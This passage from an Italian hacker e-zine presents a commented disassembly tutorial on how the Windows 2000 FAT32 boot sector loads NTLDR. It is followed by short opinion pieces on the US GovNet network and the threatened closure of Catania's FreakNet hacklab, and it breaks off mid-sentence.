£+£+ ¤jä+ ñå | | 42 4F 4F 54 20 20 20 20 49 4E 49 26 18 7E 85 75 BOOT INI&~àu | | 9C 2B 9C 2B 01 00 0F 5D 9A 2B 0B 00 C0 00 00 00 £+£+ ¤]Ü+ + | | 4E 54 4C 44 52 20 20 20 20 20 20 27 08 7F 85 75 NTLDR ' | | Il bootsector di Win2000 carica questo settore a partire | | dall'indirizzo 7E00h, e ci cerca dentro la stringa "NTLDR ". | | Quando ha trovato questa stringa, sa di essere arrivato alla entry del | | file ntldr, e quindi cerca il numero del cluster iniziale del file: | | | | 4E 54 4C 44 52 20 20 20 20 20 20 27 08 7F 85 75 NTLDR 'àu | | 9C 2B 9C 2B 01 00 0F 6A 84 2B 0C 00 B0 49 03 00 £+£+ ¤jä+¦I | | |---| |---| | | High 16 bit of Starting cluster | | cluster number | | | | Il numero del cluster iniziale del file è quindi 65548. A partire da | | questo numero, il bootsector ricava i settori da leggere: in questi | | settori ci sta una prima parte di ntldr. | | | | Dopo aver letto questi primi settori, il bootsector deve sapere il | | cluster successivo del file: nella tabella di allocazione dei file, | | viene cercata la entry corrispondente al cluster 65548. Il numero | | trovato in quella entry, se compreso tra 2 e 0FFFFFFF6h, costituisce | | il cluster successivo del file. Il ciclo si ripete finchè il valore | | letto nella entry di un cluster è maggiore di 0FFFFFFF6h o minore di | | 2. | | | | | | CHS / LBA | | --------- | | | | Vedremo che il bootsector di Win2000 carica in memoria un secondo | | settore. Per fare questo, naturalmente, deve sapere *dove* si trova | | questo settore. | | Per indicare la posizione di un settore sul disco esistono due modi. | | | | L' LBA (Logical Block Addressing) individua un settore attraverso un | | unico numero (a 32 bit). Questo numero parte dallo zero, ed arriva a | | (max_sector_number-1), dove max_sector_number è l'ultimo settore | | dell'hard disk. L' LBA è un "addressing mode" lineare e semplice da | | usare, *ma* è supportato in modo "nativo" solo a partire dagli hard | | disk ATA-2 (E-IDE). Nel caso degli hard disk precedenti bisogna usare | | il CHS. | | | | Il CHS individua un settore attraverso 3 "coordinate": Cylinder, Head, | | Sector. Con questi tre valori, ogni settore è puntato in modo univoco. | | Il CHS è l' "addressing mode" del tradizionale int 13h (anche se poi | | sono state scritte estensioni dell'int 13h per supportare LBA). | | | | Si capisce subito quanto siano necessarie delle routine per convertire | | un'espressione LBA in un'espressione CHS: infatti spesso è più comodo | | ragionare sempre in LBA, anche nel caso degli hard disk vecchi e dei | | floppy, e poi tradurre l'indirizzo LBA in indirizzo CHS. Questo è anche | | ciò che fa il bootsector di Win2000. | | Le formule per la traduzione da LBA a CHS sono le seguenti: | | | | 1. Sector = (LBA mod SPT) + 1 ; SPT = sectors per track | | 2. Head = (LBA / SPT) mod HPC ; HPC = head per cylinder | | 3. Cylinder = (LBA / SPT) / HPC | | | | C'è anche la formula inversa: | | | | LBA = (((Cylinder * HPC) + Head) * SPT) + Sector - 1 | | | | A noi (cioè, al bootsector di Win2000) servono le prime tre | | espressioni. | | (Nota: un buon articolo sugli hard disk è quello di Thomas Kjoersen | | (vedi in fondo) ) | | | | | | The bootsector (Fat32) | | ---------------------- | | | | Ok, eccoci giunti alla parte più interessante del tutorial, ovvero | | l'analisi del codice. Prima di vedere il disassemblato, vi elenco | | brevemente quello che fa questo bootsector: | | | | 1) Dopo aver skippato il BPB, inizializza i segmenti. | | 2) Chiama l'int 13h, funzione 08h, per avere informazioni sul drive | | corrente. | | 3) Calcola il valore (cylinders * heads_per_cylinder * | | sectors_per_track), che corrisponde al numero totale di settori | | presenti sull'hard disk. Questo valore viene memorizzato all'indirizzo | | [bp-8]. | | 4) Esegue dei controlli per verificare se alcune informazioni | | contenute nel BPB sono corrette. | | 5) Legge un settore (il cui numero è ricavato dal BPB) chiamando una | | subroutine; memorizza questo settore all'indirizzo 8000h; salta al | | codice contenuto a 8000h. Nel caso del mio hard disk, il settore letto | | è il numero 75 (se avete installato Win2000 nella partizione C, | | probabilmente sarà così anche da voi). | | | | Ecco invece quello che fa la subroutine per la lettura di un settore (i | | cui parametri sono: EAX = settore iniziale da leggere, in LBA; CX = | | numero di settori da leggere; BX = indirizzo in cui memorizzare i | | settori): | | | | 1) Confronta il settore iniziale da leggere (EAX) con il numero di | | settori totali dell'hard disk (per i commenti, vedere alla fine). | | 2) Legge il settore, utilizzando la funzione 42h o la funzione 02h | | dell'int 13h. | | | | Consiglio di guardare il codice tenendo sempre come reference la Ralph | | Brown Interrupt List. | | Ecco il codice commentato: | | | | ;------------------------ [Start here] -------------------------------- | | | | ;---------------------------------------------------------------------- | | ;Win2000 Bootsector (sector #1) reversed | | ;---------------------------------------------------------------------- | | | | org 7c00h | | | | jmp skipBPB | | | | Int13Flag db 90h | | Id db 'MSWIN4.1',0 | | BytesPerSector dw 200h | | SectorsPerCluster db 8 | | ReservedSector dw 20h | | NumberOfFATs db 2 | | RootEntries dw 0 | | TotalSectors dw 0 ;grandezza della partizione in | | ;settori | | MediaDescriptor db 0F8h ;0xF8 per gli hard disk | | SectorsPerFAT dw 0 ;0 nel caso di Fat32 | | SectorsPerTrack dw 63 | | Heads dw 255 | | HiddenSectors dd 63 | | BigTotalSectors dd 8257347 | | BigSectorsPerFat dd 8056 | | ExtFlags dw 0 | | FS_Version dw 0 | | RootDirStrtClus dd 2 | | FSInfoSec dw 1 | | BkUpBootSec dw 6 | | Reserved dw 6 dup (0) | | Drive db 80h | | HeadTemp db 0 | | Signature db 29h | | SerialNumber dw 17ECh | | VolumeLabel db 'NONAME ' | | FileSystemID db 'FAT32 ' | | | | skipBPB: | | xor cx,cx | | mov ss,cx ;Inizializza lo stack | | mov sp,7BF4h ;mette SP da qualche parte dove | | ;non può fare danni :) | | | | mov es,cx ;Inizializza gli altri segmenti | | mov ds,cx | | mov bp,7C00h ;BP verrà usato per puntare al | | ;bpb. | | mov [bp+Int13Flag],cl ;Setta il flag | | ;dell'int13 extension a | | ;0. (non usato in | | ;seguito) | | mov dl,[bp+Drive] ;Prende il drive number (80h) | | mov ah,8 | | int 13h ;Ottiene alcune informazioni | | ;sul drive corrente | | jnc allRight ;Se non ci sono stati errori, | | ;salta ad allRight | | mov cx,0FFFFh ;Assume dei valori massimi?? | | mov dh,cl | | | | allRight: | | ;Nella parte di codice successiva, rielabora i valori ottenuti | | ;con la chiamata precedente all'int 13h, per ottenere il numero | | ;di settori totali. | | ; TotalSectors=(MaxHead+1)*MaxSector*(MaxCylinder+1) | | ;Memorizza TotalSectors in [bp-8] | | | | movzx eax,dh ;EAX = maximum head number | | inc ax ;EAX = actual number of heads | | ;(incrementa AX perchè le | | ;"head" vengono contate a | | ;partire da 0). | | movzx edx,cl ;EDX = maximum sector number | | ;(qui non ha bisogno di | | ;incrementare EDX, perchè i | | ;settori vengono contati | | ;a partire da 1 e non da 0). | | and dl,3Fh ;isola i bit 0-5 (perchè gli | | ;altri bit si riferiscono | | ;al cylinder number). | | mul dx ;EAX = sectors * heads | | xchg cl,ch ;Qui ottiene in CX il massimo | | shr ch,6 ;numero di cylinder. | | inc cx ;CX=actual number of cylinders | | movzx ecx,cx | | mul ecx ;EAX=sectors*heads*cylinders | | ;(EAX = numero totale di | | ;settori) | | mov [bp-8],eax | | | | | | cmp word ptr [bp+SectorsPerFAT],0 ;esegue dei | | ;controlli | | jnz noNTLDR | | cmp word ptr [bp+FS_version],0 | | ja noNTLDR | | mov eax, [bp+HiddenSectors] | | add eax, 0Ch ;calcola quale è il secondo | | ;settore da caricare | | ;(nel mio caso, vuole | | ;caricare il settore n° 75). | | mov bx,8000h ;lo carica all'offset 8000h | | mov cx,1 ;legge 1 solo settore | | call readSector ;carica il settore | | jmp near ptr 8000h ;salta al codice del settore | | ;caricato | | | | | | ;--------------------------------------------------------------------- | | | | discError: | | mov al,byte ptr ds:[DiscErrorPtr] | | ;il byte a [DiscErrorPrt] | | ;contiene il low-byte | | ;dell'offset della stringa | | ;"Errore Disco" | | | | showMsg: | | | | ;nel codice successivo viene visualizzato | | ;un messaggio di errore | | | | mov ah,7Dh ;quando arriviamo qua, abbiamo | | ;solo il low-byte dell'offset | | ;della stringa da scrivere, | | ;quindi dobbiamo calcolare | | ;l'offset intero (mettendo 7Dh | | ;negli 8 bit più significativi) | | mov si,ax | | | | showMsgLoop: ;qui viene mostrata la stringa | | ;di errore | | lodsb | | test al,al ;se AL = 0, siamo arrivati alla | | ;fine della stringa di reboot. | | jz reboot | | cmp al,0FFh ;se AL = 0FFh, siamo arrivati | | ;alla fine di una stringa | | ;di errore | | jz pressKey ;(e quindi visualizziamo la | | ;stringa di reboot) | | mov ah,0Eh ;visualizza un carattere | | mov bx,7 | | int 10h | | jmp showMsgLoop | | | | pressKey: | | mov al,byte ptr ds:[PressKeyPtr] | | ;pointer alla stringa di reboot | | ;"Premere un tasto per | | ;riavviare" | | jmp showMsg | | | | noNTLDR: | | mov al,byte ptr ds:[NoNTLDRPtr] | | ;pointer alla stringa | | ;NTLDR mancante" | | jmp showMsg | | | | reboot: | | cbw | | int 16h ;attende la pressione di un | | ;tasto | | int 19h ;esegue un reboot | | | | | | ;---------------------------------------------------------------------- | | | | readSector: | | pushad ;salviamo un po' tutto... :) | | | | cmp eax, [bp-8] ;in [bp-8] c'era il numero | | ;totale di settori presenti | | ;sull'hard disk. Ora io mi | | ;domando, come fa EAX ad essere | | ;maggiore di questo valore qui? | | ;Questo jb, almeno sul mio | | ;computer, è *sempre* preso | | ;(salta sempre a 7D34) | | jb LBAtoCHS ;Per fare la controprova, ho | | ;modificato il bootsector in | | ;modo che si interrompesse | | ;se il jb non era preso | | ;(ho messo | | ; mov al,0 | | ; int 16h | | ; int 19h | | ;al posto di "push large 0"...) | | ;risultato, Win2000 ha | | ;bootato come se niente fosse. | | | | ;******************* [Parte non eseguita ] ******************* | | push large 0 | | push eax | | push es | | push bx | | push large 10010h | | cmp byte ptr [bp+2],0 | | jnz 7D1F | | mov ah,41h | | mov bx,55AAh | | mov dl,[bp+40h] | | int 13h | | jb near ptr 7D28+1 | | cmp bx,0AA55h | | jnz near ptr 7D28+1 | | test cl,1 | | jz near ptr 7D28+1 | | inc byte ptr [bp+2] | | | | 7D1F: | | mov ah,42h | | mov dl, [bp+40h] | | mov si,sp | | int 13h | | | | 7D28: | | mov al,0F9h | | pop eax | | pop eax | | pop eax | | pop eax | | jmp done | | ;************************************************************* | | | | LBAtoCHS: | | xor edx,edx | | movzx ecx, word ptr [bp+SectorsPerTrack] | | div ecx ;EAX = sector # / | | ;sectors_per_track | | | | inc dl ;In DL a questo punto abbiamo il | | ;numero del settore da leggere | | ;In pratica abbiamo DL=(EAX mod | | ;ECX)+1 | | ;(vedi le formule LBA/CHS) | | | | mov cl,dl ;Sistemiamo già il sector # in | | ;CL, per l'int 13h. | | | | mov edx,eax | | shr edx,16 ;Mette in DX:AX il valore che | | ;prima era contenuto in EAX | | ;(questo è necessario per | | ;dividere un numero a 32 bit | | ;per una word) | | | | div word ptr [bp+1Ah] ;Divide DX:AX per l' head # | | ;Dopo la div, abbiamo: | | ;DL = numero della head da | | ;leggere | | ;AX = numero del cylinder da | | ;leggere | | | | xchg dl,dh ;Qui sistemiamo un po' le cose | | ;nei registri giusti per | | mov dl, [bp+40h] ;l'int 13h. | | mov ch,al ;(consiglio di consultare la | | shl ah,6 ;Ralph Brown's int list) | | or cl,ah | | mov ax,0201h ;Chiamiamo l'int 13h per leggere | | int 13h ;un settore. | | | | done: | | popad | | jb discError ;Se ci sono stati errori, salta | | add bx,200h ;Altrimenti si porta a 512 byte | | ;dopo. | | | | inc eax ;incrementa EAX (nel caso | | ;bisognasse leggere il settore | | ;successivo) | | dec cx ;Decrementa CX (che conteneva il | | ;numero di settori da leggere) | | jnz readSector | | ret | | | | | | ;---------------------------------------------------------------------- | | | | FileName db 'NTLDR ' ;Stringa che verrà usata | | successivamente | | db 49 dup (0) | | | | NoNTLDRString db 0Dh,0Ah,'NTLDR mancante',0FFh | | DiscErrorString db 0Dh,0Ah,'Errore disco',0FFh | | PressKeyString db 0Dh,0Ah,'Premere un tasto per ' | | db 'riavviare',0Dh,0Ah,0 | | | | db 11 dup (0) | | | | NoNTLDRPtr db 0ACh ;7DACh è l'indirizzo di NoNTLDRString | | DiscErrorPtr db 0BDh ;7DBDh è l'indirizzo di DiscErrorString | | PressKeyPtr db 0CCh ;7DCCh è l'indirizzo di PressKeyString | | | | dw 0 | | dw 0AA55h ;boot marker | | | | ;------------------------ [End here] ---------------------------------- | | | | | | Mie considerazioni | | ------------------ | | | | Come ho già scritto nei commenti, c'è tutta una parte in "readSector" | | che, almeno nel mio caso, non viene mai eseguita. Ho fatto la | | controprova, mettendo sotto il "jb LBAtoCHS" le istruzioni: | | | | mov ah,0 | | int 16h | | int 19h | | | | che avrebbero dovuto aspettare un tasto e poi rebootare. Invece Win2000 | | si è caricato in modo normale (ha bootato come se niente fosse), e | | questo significa che (giustamente) il jb è *sempre preso* (salta sempre | | a LBAtoCHS). Come spiegarsi questa cosa? Ho fatto delle ipotesi: | | 1) il jb potrebbe *non* essere preso quando nel BPB ci sono dei valori | | sbagliati. Quindi verrebbe usata la funzione 42h dell'int 13h per | | leggere in modo assoluto dal disco (cioè, senza fare la conversione LBA | | --> CHS, poichè questa conversione dipende dai valori contenuti nel BPB | | ... e se questi valori sono sbagliati, non leggiamo di certo il settore | | giusto). Ma mi sembra un'eventualità abbastanza remota, visto che i | | valori del BPB sono calcolati al momento del format, e poi non vengono | | più cambiati. | | 2) la Microsoft ha fatto questo bootsector riutilizzando codice | | vecchio, senza togliere parti inutili :PPP | | Se è vera questa seconda ipotesi, allora un'altra parte inutile di | | questo bootsector è quella che riguarda l' "Int13Flag": questo byte | | dovrebbe segnalare (nel caso sia uguale a 1) che l'hard disk supporta | | l'estensione dell'int 13h (l'estensione che permette di leggere i | | settori in LBA con la funzione 42h), ma dal momento che poi il | | bootsector utilizza solo la funzione 02h (e non la 42h) dell'int 13h, | | l' "Int13Flag" non serve più. | | (Questo flag compare già nel bootsector di Win95, e in quel caso però | | viene utilizzato...quindi c'è da pensare davvero ad un riutilizzo di | | vecchio codice). | | | | Avendo provato solo sul mio computer, comunque, non posso concludere | | niente...magari col vostro hard disk la situazione è diversa. | | | | | | Il secondo settore | | ------------------ | | | | Ok, abbiamo visto che il bootsector carica un altro settore e salta al | | codice in esso contenuto. Però, a questo punto, siamo ancora lontani | | dall'aver caricato ed eseguito ntldr. Il compito di caricare ed | | eseguire ntldr è affidato, come vedremo, al settore che viene caricato | | a 0000:8000h dal bootsector. | | I passi principali di questo secondo settore sono: | | 1) calcolare quale è il primo settore della root directory | | 2) caricare il settore della root dir | | 3) cercare la entry del file "NTLDR" all'intero della root directory | | 4) se bisogna passare ad un nuovo settore della root dir, ricalcolare | | il nuovo settore e saltare al punto 2 | | 5) una volta trovata la entry, trovare il primo cluster del file | | 6) caricare, un cluster alla volta, il file | | 7) saltare all'indirizzo a cui si era caricato il file. | | | | ;------------------------ [Start here] -------------------------------- | | | | ;---------------------------------------------------------------------- | | ;Win2000 Bootsector (sector #2) reversed | | ;---------------------------------------------------------------------- | | | | org 8000h | | | | ;Nel codice successivo, viene calcolato il primo settore della | | ;root directory, e viene memorizzato il numero di questo | | ;settore a [bp-4]. | | | | movzx eax,byte ptr [bp+NumberOfFATs] | | mov ecx, [bp+BigSectorsPerFat] | | mul ecx | | add eax, [bp+HiddenSectors] | | movzx edx, word ptr [bp+ReservedSectors] | | add eax,edx ;EAX = primo settore della root | | directory | | mov [bp-4],eax ;memorizza questo (importante) | | ;valore a [bp-4] | | | | ;A [bp-12] avremo ogni volta il cluster attualmente in uso. La | | ;prima | | ;volta, carica 0FFFFFFFFh per segnalare che questo valore non è | | ;ancora | | ;stato inizializzato. | | | | mov dword ptr [bp-12],0FFFFFFFFh | | mov eax,[bp+RootDirStrtClus] ;EAX=numero del primo | | ;cluster della root | | ;directory | | | | cmp eax,2 ;Controlla che sia un cluster | | ;valido | | jb near ptr noNTLDR ;(i cluster validi e che | | ;contengono | | ;dati sono compresi tra 2 e | | ;0FFFFFFF6h) | | cmp eax, 0FFFFFF8h | | jnb near ptr noNTLDR | | | | ;Ciò che viene fatto nel codice successivo è "sistemare" il | | ;valore del cluster (sottraendo 2), moltiplicarlo per il numero | | ;di settori per cluster, e aggiungere il numero del primo | | ;settore della root directory. | | ;In questo modo si ottiene il settore della root directory da | | ;caricare (per cercarci dentro la entry del file ntldr). | | | | calculateRootSector: | | push eax | | sub eax,2 | | movzx ebx,byte ptr [bp+SectorsPerCluster] | | mov si,bx ;tiene in SI il valore | | ;SectorPerCluster | | ;perchè ci serve dopo | | mul ebx | | add eax, [bp-4] | | | | loadRootSector: | | mov bx,8200h ;carica il settore della root | | ;dir a 8200h | | mov di,bx | | mov cx,1 | | call near ptr readSector | | | | searchNTLDR: | | cmp [di],ch ;se il byte è zero, significa | | ;che siamo arrivati alla fine | | ;delle directory (senza trovare | | ;il file cercato), quindi salta | | jz NTLDRNotFound ;a NTLDRNotFound | | | | mov cl,11 ;Cerca la stringa "NTLDR " | | ;composta da 11 caratteri | | push si ;In pratica qui cerca la entry | | ;del file ntldr, facendo | | mov si,FileName ;passare tutti i nomi dei file | | repe cmpsb ;nella root dir | | pop si | | jz NTLDRFound ;Se l'ha trovata, salta | | add di,cx ;Altrimenti, sistema DI per | | ;puntare alla entry del | | add di,15h ;file successivo. | | cmp di,bx ;Controlla se c'è bisogno di | | ;caricare un nuovo settore | | ;della root dir | | jb searchNTLDR | | dec si ;SI contiene il numero di | | ;settori per cluster. | | ;Se SI==0, vuol dire | | ;che dobbiamo ricalcolare il | | ;cluster successivo, mentre se | | ;SI!=0, ci basta caricare | | ;il settore successivo. | | jnz loadRootSector | | | | pop eax | | call getNextCluster | | jb calculateRootSector ;se non ci sono stati | | ;errori, | | ;e se non siamo alla fine della | | ;dir, calcola il root sector | | ;successivo e cerca la stringa | | ;"NTLDR ". | | | | NTLDRNotFound: | | add sp,4 ;sistema lo stack (avevamo | | ;pushato eax) | | jmp near ptr noNTLDR ;visualizza il msg di | | ;errore | | | | ;--------------------------------------------------- | | | | loadingSegment dw 2000h | | | | NTLDRFound: | | add esp,4 ;sistema lo stack (avevamo | | ;pushato eax) | | mov si,[di+9] ;DI+9 = 16 bit più significativi | | ;del FirstFileCluster, | | ;ovvero il numero del primo | | ;cluster del file | | | | mov di,[di+15] ;DI+15 = 16 bit meno | | ;significativi del | | ;FirstFileCluster | | mov ax,si | | shl eax,16 | | mov ax,di ;memorizza in EAX il numero del | | ;primo cluster | | | | cmp eax,2 ;Controlla che sia un cluster | | ;valido | | jb near ptr NoNTLDR | | cmp eax,0FFFFFFF8h | | jnb near ptr NoNTLDR | | | | loadCluster: | | push eax ;Usa le stesse formule di prima | | ;per ottenere il settore | | sub eax,2 ;del cluster da caricare | | movzx ecx,byte ptr [bp+SectorsPerCluster] | | mul ecx | | add eax,[bp-4] | | mov bx,0 | | push es ;Carica il settore a partire da | | ;2000h:0000h | | mov es, word ptr ds:[loadingSegment] | | call near ptr readSector ;Carica n settori | | ;(con n = SectorsPerCluster). | | ;Quindi, con questa chiamata a | | ;readSector, carica un intero | | ;cluster del file NTLDR. | | pop es | | pop eax | | shr bx,4 ;Aggiunge 32 a [loadingSegment] | | ;(ha diviso 512 per 16 perchè | | ;andiamo a modificare il valore | | ;di un segmento, e non di | | ;un offset) | | add word ptr ds:[loadingSegment],bx | | call getNextCluster | | jz jmpToNTLDR ;Se siamo alla fine del file, | | ;esegue NTLDR. | | jnz loadCluster | | | | jmpToNTLDR: | | mov dl,[bp+Drive] | | jmp far ptr 2000h:0 | | | | ;--------------------------------------------------- | | | | getNextCluster: | | ;Questa routine ottiene il cluster successivo di un file (nel nostro | | ;caso, calcola il cluster successivo della root directory). | | ; | | ;Input: | | ; EAX ---> cluster attuale | | ; | | ;Output: | | ; EAX ---> cluster successivo | | ; ZF = 1 se siamo alla fine del file | | ; | | | | | | shl eax,2 ;moltiplica il cluster # per 4, | | ;perchè ogni entry nella FAT32 | | ;è di 32 bit (4 byte) | | call calculateNextCluster | | mov eax, dword ptr es:[bx+di] ;ottiene il numero | | ;del cluster | | ;successivo | | and eax, 0FFFFFFFh | | cmp eax, 0FFFFFF8h | | ret | | | | ;--------------------------------------------------- | | | | calculateNextCluster: | | ;Questa routine calcola la posizione, all'interno di un settore FAT, | | ;della entry del cluster specificato. Se è necessario, questa routine | | ;carica in memoria un nuovo settore della FAT. | | ; | | ;Input: | | ; EAX ---> (cluster attuale)*4 | | ; | | ;Output: | | ; BX + DI ---> pointer alla entry del cluster successivo | | ; | | | | mov di,7E00h ;assume che il settore FAT sia | | ;stato caricato a 7E00h | | | | ;Nel prossimo pezzo di codice, si vuole calcolare dove sta la | | ;entry del cluster successivo (cioè, del cluster che vogliamo | | ;trovare). | | ;Per far questo, vengono usate queste formule: | | ; | | ; NextClusterSector = ClusterNumber / BytesPerSector | | ; (NextClusterSector rappresenta il settore FAT in cui si | | ; trova la entry che vogliamo trovare) | | ; | | ; NextClusterEntry = ClusterNumber mod BytesPerSector | | ; (NextClusterEntry rappresenta la posizione della entry | | ; all'interno del settore FAT). | | | | movzx ecx,word ptr [bp+BytesPerSector] | | xor edx,edx | | div ecx ;EAX = cluster number / bytes | | ;per sector | | ;Dopo la div, abbiamo: | | ;EAX = settore della FAT | | ;all'interno del quale c'è | | ;l'entry del cluster | | ;successivo (NextClusterSector) | | ;DX = offset, all'interno del | | ;settore FAT attuale, del | | ;valore del cluster che | | ;vogliamo (NextClusterEntry) | | | | cmp eax,[bp-12] ;Controlla se NextClusterSector | | ;è lo stesso settore FAT | | ;precedente. | | ;Se è lo stesso, non ha bisogno | | ;di ricaricarlo | | je skipReload | | | | mov [bp-12],eax ;altrimenti memorizza il | | ;settore FAT attuale | | | | ;Nel codice successivo, NextClusterSector verrà "sistemato" in | | ;modo da poter essere letto attraverso la routine readSector. | | ;Nel caso che la ActiveFat non sia la prima, viene anche | | ;aggiunta la posizione della ActiveFat. | | ;In pratica, abbiamo: | | ; | | ; NextClusterSector += (HiddenSectors + ReservedSectors); | | ; if (ActiveFat!=0) | | ; { | | ; NextClusterSector += (BigSectorsPerFat*ActiveFat); | | ; } | | ; | | ;La prima "sistemazione" è necessaria perchè noi leggiamo il | | ;settore a partire dal primo settore dell'hard disk, non dal | | ;primo settore della partizione attuale. | | | | add eax,[bp+HiddenSectors] | | movzx ecx,word ptr [bp+ReservedSectors] | | add eax,ecx ;Qui ha sistemato | | ;NextClusterSector | | ;aggiungendo HiddenSectors e | | ;ReservedSectors | | movzx ebx, word ptr [bp+ExtFlags] | | and bx,0Fh ;Isola i primi 4 bit | | ;dell'ExtFlags | | ;Questi 4 bit contengono il | | ;valore della ActiveFat. | | jz ActiveFatZero ;Se la ActiveFat è 0 (la prima) | | ;allora non deve sistemare il | | ;NextClusterSector | | cmp bl, [bp+NumberOfFats] | | jnb near ptr noNTLDR | | push dx | | mov ecx, eax | | mov eax, [bp+BigSectorsPerFat] | | mul ebx | | add eax, ecx ;Ha sistemato NextClusterSector | | pop dx | | | | ActiveFatZero: | | push dx | | mov bx, di ;Legge un settore e lo | | ;memorizza a 7E00h | | mov cx, 1 | | call near ptr readSector | | pop dx | | | | skipReload: | | mov bx, dx ;Ritorna NextClusterEntry in BX | | retn | | | | ;--------------------------------------------------- | | | | db 182 dup (0) | | | | dw 0AA55h | | | | ;------------------------ [End here] ---------------------------------- | | | | | | | | Mie conclusioni - parte 2 | | ------------------------- | | | | Ok, questo secondo settore non è scritto male. Mi sembra che usi un | | codice abbastanza agile, soprattutto nelle routine per calcolare il | | cluster successivo. | | Ho confrontato questi due settori con il bootsector del floppy (Fat12): | | mi sono accorto che il bootsector Fat12 carica ed esegue ntldr usando | | un solo settore di codice (cioè il settore di boot stesso, e | | nient'altro). Sarebbe interessante provare a riscrivere il bootsector | | Fat32 in modo da caricare ntldr, come nel caso Fat12, con un solo | | settore di codice. | | | | | | Referenze | | --------- | | | | - Thomas Kjoersen, "File Allocation Table - How It Seems To Work" | | (http://home.no.net/tkos) | | - Thomas Kjoersen, "Harddisks, Partitioning and Booting" | | (http://home.no.net/tkos) | | - Mr. X, "Heroic attempt to disassemble the Windows 95 Boot Sector" | | (sito?) | | - Ralph Brown, "Interrupt List" | | | | | | Saluti | | ------ | | | | Un saluto a tutta la gentaglia di #asm e #crack-it sulla rete Azzurra! | | Un ringraziamento particolare a Quake2^Am, che mi ha proposto di | | reversare questo bootsector, e a _d31m0s_ per le informazioni sui file | | di sistema di Win2000, in particolare su NTLDR. | | Ringrazio infine tutte le persone che mi hanno dato consigli o | | segnalato errori. | | Ciaoo! | | Albe | | -albe-@libero.it | | | | | | Disclaimer | | ---------- | | | | Le informazioni contenute in questo documento sono a puro scopo | | didattico; l'autore non incoraggia chi volesse servirsene per scopi | | illegali. | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0 SCiAMAN0] #06 - 25/04/2002 | | G0VNET - LA RETE DEL G0VERN0 [MightyInquisitor] 0x15/0x1D | +--------------------------------------------------------------------------+ | | | --[ Indice | | | | 1 - Introduzione | | | | 2 - GovNet - la rete del governo | | | | | | --[ 1 - Introduzione | | | | Ebbene si, l'hanno rifatto. I soliti americani, pronti a dire e fare | | qualsiasi cosa pur di mantenere il loro "instabile" primato di prima | | potenza mondiale in tutti i settori...si fa per dire... | | | | Echelon, un'altra trovata, forse la piu' conosciuta e mal vista dalla | | gente comune, che e' un progetto che l'america e' riuscita a coinvolgere | | anche altri paesi tra cui nostri vicini di casa: Francia, Inghilterra | | ect...ma non siamo qui per parlare di questo. | | | | Beh ora siamo arrivati al turno di GOVNET, ma andiamo nel dettaglio... | | | | | | --[ 2 - GovNet - la rete del governo | | | | GOVNET ci fa pensare a 'rete del governo'...esatto! E' proprio una rete | | virtuale, circa come internet o arpanet a suo tempo, ma a differenza | | rispetto ad internet e' il fatto che sara' chiusa, privata, protetta | | dall'interno verso l'esterno, insomma un bunker di informazioni che | | gireranno per il mondo (?!?!), ma a cui avranno accesso un | | ristrettissimo numero di persone. Quali? Semplice, i militari di alto | | livello, i politici americani, e le aziende che ne avranno | | l'autorizzazione. Nessun altro. | | | | Questo progetto ha preso vita alcuni mesi fa, ma ultimamente, dopo | | l'atto terroristico dell'11 Settembre che ha sconvolto il mondo, tutti i | | tecnici, ingegneri e militari che ne lavorano sopra si sono rimboccati | | le mani per accelerare i tempi di realizzazione. | | | | Perche'? Beh, LORO dicono per avere privacy, o come gli piace tanto | | dire: "PER LA SICUREZZA NAZIONALE" | | | | Bella questa vero? Che ne guadagnano i cittadini americani? A mio avviso | | NIENTE visto che i soldi dei contribuenti finiscono per cose del genere | | quando potrebbero essere impiegati in aiuti umanitari a chi ne ha | | bisogno. Non solo, ma la GSA, organo governativo americano che si sta | | occupando della realizzazione di govnet, ha chiesto fondi, | | infrastrutture e menti all'industria dell'hi-tech del paese quindi vuole | | impiegare anche il lavoro di terze persone per fini "personali", | | ops...per la sicurezza del paese ;-) !!! | | | | Ora che vi ho illustrato come la penso io, vi rimando all'allegato | | govnet-original.txt, ovvero il documento ufficiale del progetto GovNet, | | traetene le vostre conclusioni, ma soprattutto tenete gli occhi ben | | aperti che di trovate come queste gli USA ne sfornano ogni anno... | | | | | | MightyInquisitor | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0 SCiAMAN0] #06 - 25/04/2002 | | FREACKNET MEDiALAB -> DESTiNAT0 ALLA CHiUSURA? [Alcatraz2100] 0x16/0x1D | +--------------------------------------------------------------------------+ | Luogo: Etna Valley | | Data: martedi' 5 febbraio 2002 | | Autore: Alcatraz2100 | | Subject: FreakNet MediaLab -> destinato alla chiusura? | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | | Bene, innanzi tutto ringrazio lo staff di OQ che mi ha permesso di | | usuffruire di questo spazio per parlare di quanto sta succendo a | | Catania. Il FreakNet Medialab e' l'HackLab catanese, uno dei primi | | attivi in Italia fin dal 1998. Per chi non lo sapesse, gli HackLab sono | | luoghi fisici dove poter sperimentare tutte le conoscenze (anche quelle | | date da OQ) riguardanti l'informatica, in poche parole, detto in maniera | | abbastanza grezza, sono "laboratori per hacker". Ma non solo, infatti il | | FreakNet fornisce servizi di posta elettronica in maniera del tutto | | grauita, connessione ad internet sempre gratis, e corsi di informatica | | di base e utilizzo di Linux sempre e completamente in modo GRATUITO. | | Inoltre la rete interna e' formata per la maggior parte da vecchi 386 | | recuperati e rinati sotto Linux, il PC piu' potente e' un AMD K6-III a | | 400MHz che funge da server. Il FreakNet, e' stato sede dell'ultimo | | HackIT svoltosi presso i sui locali dal 22 al 24 giugno 2001(poi dovrete | | spiegarmi com'e' che l'ultiam sera gia' a mezzanotte non c'era piu' | | nessuno!),e' gia' a qual tempo era minacciato dallo fratto. Infatti il | | comune di Catania ha pensato bene, per risparmiare, di chiudere il | | Centro Sociale AURO, sul quale di appoggia il FreakNet, cominciado col | | staccare il contatore ENEL. Ora, a meno che non avvengano miracoli, | | anche i 386 per poter funzionare hanno bisogno della luce elettrica, | | quindi con questa drittata il comune ha di fatto fermato l'erogazione | | dei servizi del FreakNet (e' abbastanza inutile fare un corso su Linux | | senza poter mettere in pretica quanto appreso!). Alla situazone attuale | | i ragazzi de FreakNet stanno lavorando per ristabilire i servizi base | | quali e-mail, connessioni telnet,etc. Tutto questo ora ha portato alla | | chiusura temporanea del FrakNet. Ora ditemi voi se un luogo come in | | FrakNet deve essere destinato alla chiusura per motivi pseudo | | -economici?Penso proprio che la risposta e' NO! Non ho altro da dire. Se | | ho detto c****te abbiate pieta'! :) | | Ancora un ringraziamento enorme va allo staff di 